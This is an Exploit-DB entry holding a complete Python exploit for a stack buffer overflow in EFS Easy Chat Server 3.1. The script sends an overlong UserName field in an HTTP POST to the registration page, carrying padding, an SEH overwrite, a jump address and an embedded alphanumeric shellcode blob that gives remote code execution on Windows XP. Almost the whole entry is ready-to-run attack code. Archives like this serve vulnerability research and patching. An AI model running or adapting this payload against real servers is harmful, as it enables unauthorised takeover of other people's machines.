Exploit-DB #42155
Description: EFS Easy Chat Server 3.1 - Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2017-06-09
Author: Aitezaz Mohsin

Exploit:
# Exploit Title: Easy Chat Server User Registeration Buffer Overflow (SEH)
# Date: 09/10/2017
# Software Link: http://echatserver.com/ecssetup.exe
# Exploit Author: Aitezaz Mohsin
# Vulnerable Version: v2.0 to v3.1
# Vulnerability Type: Buffer Overflow
# Severity: Critical
# Tested on: [Windows XP Sp3 Eng]


# ======================================================================================================================
#	Username parameter in Registeration page 'register.ghp' is prone to a stack-based buffer-overflow vulnerability.
# Application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. 
# ======================================================================================================================

# USAGE: python exploit.py ip

#!/usr/bin/python

import os
import sys
import socket

ip = sys.argv[1]

socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)

socket.connect((ip , 80))

#AlphanumericShellcode

shellcode = ("\x89\xe2\xda\xde\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x43\x43"
"\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x32\x55\x50\x33"
"\x30\x35\x50\x43\x50\x4d\x59\x5a\x45\x36\x51\x4f\x30\x32\x44"
"\x4c\x4b\x30\x50\x50\x30\x4c\x4b\x51\x42\x54\x4c\x4c\x4b\x30"
"\x52\x44\x54\x4c\x4b\x44\x32\x36\x48\x34\x4f\x58\x37\x50\x4a"
"\x31\x36\x36\x51\x4b\x4f\x4e\x4c\x47\x4c\x43\x51\x33\x4c\x43"
"\x32\x46\x4c\x51\x30\x39\x51\x48\x4f\x34\x4d\x45\x51\x48\x47"
"\x4d\x32\x4c\x32\x50\x52\x56\x37\x4c\x4b\x31\x42\x42\x30\x4c"
"\x4b\x31\x5a\x47\x4c\x4c\x4b\x30\x4c\x54\x51\x42\x58\x4a\x43"
"\x47\x38\x35\x51\x48\x51\x36\x31\x4c\x4b\x46\x39\x37\x50\x55"
"\x51\x49\x43\x4c\x4b\x50\x49\x35\x48\x4b\x53\x57\x4a\x37\x39"
"\x4c\x4b\x50\x34\x4c\x4b\x53\x31\x38\x56\x56\x51\x4b\x4f\x4e"
"\x4c\x49\x51\x38\x4f\x44\x4d\x53\x31\x39\x57\x37\x48\x4b\x50"
"\x32\x55\x4a\x56\x43\x33\x43\x4d\x4c\x38\x57\x4b\x43\x4d\x31"
"\x34\x43\x45\x5a\x44\x46\x38\x4c\x4b\x31\x48\x51\x34\x33\x31"
"\x58\x53\x42\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x46\x38\x35"
"\x4c\x35\x51\x4e\x33\x4c\x4b\x45\x54\x4c\x4b\x43\x31\x4e\x30"
"\x4d\x59\x30\x44\x31\x34\x37\x54\x31\x4b\x51\x4b\x53\x51\x31"
"\x49\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x51\x4f\x51\x4f\x50\x5a"
"\x4c\x4b\x35\x42\x5a\x4b\x4c\x4d\x51\x4d\x55\x38\x46\x53\x36"
"\x52\x35\x50\x55\x50\x45\x38\x32\x57\x32\x53\x30\x32\x51\x4f"
"\x56\x34\x33\x58\x30\x4c\x32\x57\x56\x46\x44\x47\x4b\x4f\x58"
"\x55\x4f\x48\x4c\x50\x35\x51\x43\x30\x43\x30\x37\x59\x4f\x34"
"\x50\x54\x50\x50\x32\x48\x37\x59\x4b\x30\x32\x4b\x55\x50\x4b"
"\x4f\x59\x45\x53\x5a\x33\x38\x50\x59\x50\x50\x5a\x42\x4b\x4d"
"\x51\x50\x36\x30\x31\x50\x36\x30\x45\x38\x4b\x5a\x54\x4f\x39"
"\x4f\x4b\x50\x4b\x4f\x38\x55\x4c\x57\x52\x48\x53\x32\x45\x50"
"\x44\x51\x31\x4c\x4b\x39\x4b\x56\x52\x4a\x52\x30\x50\x56\x56"
"\x37\x33\x58\x58\x42\x39\x4b\x46\x57\x55\x37\x4b\x4f\x39\x45"
"\x51\x47\x43\x58\x4f\x47\x4b\x59\x30\x38\x4b\x4f\x4b\x4f\x59"
"\x45\x51\x47\x42\x48\x54\x34\x5a\x4c\x57\x4b\x4b\x51\x4b\x4f"
"\x48\x55\x30\x57\x5a\x37\x42\x48\x32\x55\x52\x4e\x30\x4d\x45"
"\x31\x4b\x4f\x38\x55\x35\x38\x35\x33\x52\x4d\x45\x34\x45\x50"
"\x4b\x39\x4d\x33\x56\x37\x31\x47\x56\x37\x46\x51\x5a\x56\x32"
"\x4a\x44\x52\x56\x39\x31\x46\x5a\x42\x4b\x4d\x53\x56\x39\x57"
"\x30\x44\x51\x34\x57\x4c\x35\x51\x33\x31\x4c\x4d\x37\x34\x57"
"\x54\x32\x30\x58\x46\x35\x50\x51\x54\x50\x54\x30\x50\x31\x46"
"\x51\x46\x36\x36\x31\x56\x36\x36\x30\x4e\x36\x36\x51\x46\x31"
"\x43\x46\x36\x43\x58\x33\x49\x48\x4c\x47\x4f\x4b\x36\x4b\x4f"
"\x58\x55\x4c\x49\x4d\x30\x30\x4e\x36\x36\x47\x36\x4b\x4f\x56"
"\x50\x32\x48\x33\x38\x4c\x47\x35\x4d\x35\x30\x4b\x4f\x49\x45"
"\x4f\x4b\x4a\x50\x48\x35\x59\x32\x50\x56\x52\x48\x4f\x56\x5a"
"\x35\x4f\x4d\x4d\x4d\x4b\x4f\x58\x55\x37\x4c\x53\x36\x33\x4c"
"\x44\x4a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x45\x55\x4f\x4b\x37"
"\x37\x34\x53\x52\x52\x32\x4f\x53\x5a\x35\x50\x36\x33\x4b\x4f"
"\x4e\x35\x41\x41")     

magic = "B" * 217
magic += "\xeb\x06\x90\x90"
magic += "\xBC\x04\x01\x10"
magic += shellcode

magic += "C" * 200
 

buffer = "POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += "Host: 192.168.1.11"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += "Accept-Language: en-US,en;q=0.5"
buffer += "Accept-Encoding: gzip, deflate"
buffer += "Referer: http://192.168.1.11/register.ghp"
buffer += "Connection: close"
buffer += "Content-Type: application/x-www-form-urlencoded"

buffer += "UserName=" + magic +"&[CREDENTIAL_REDACTED]=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"

socket.send(buffer)

data = socket.recv(4096)
print data
socket.close()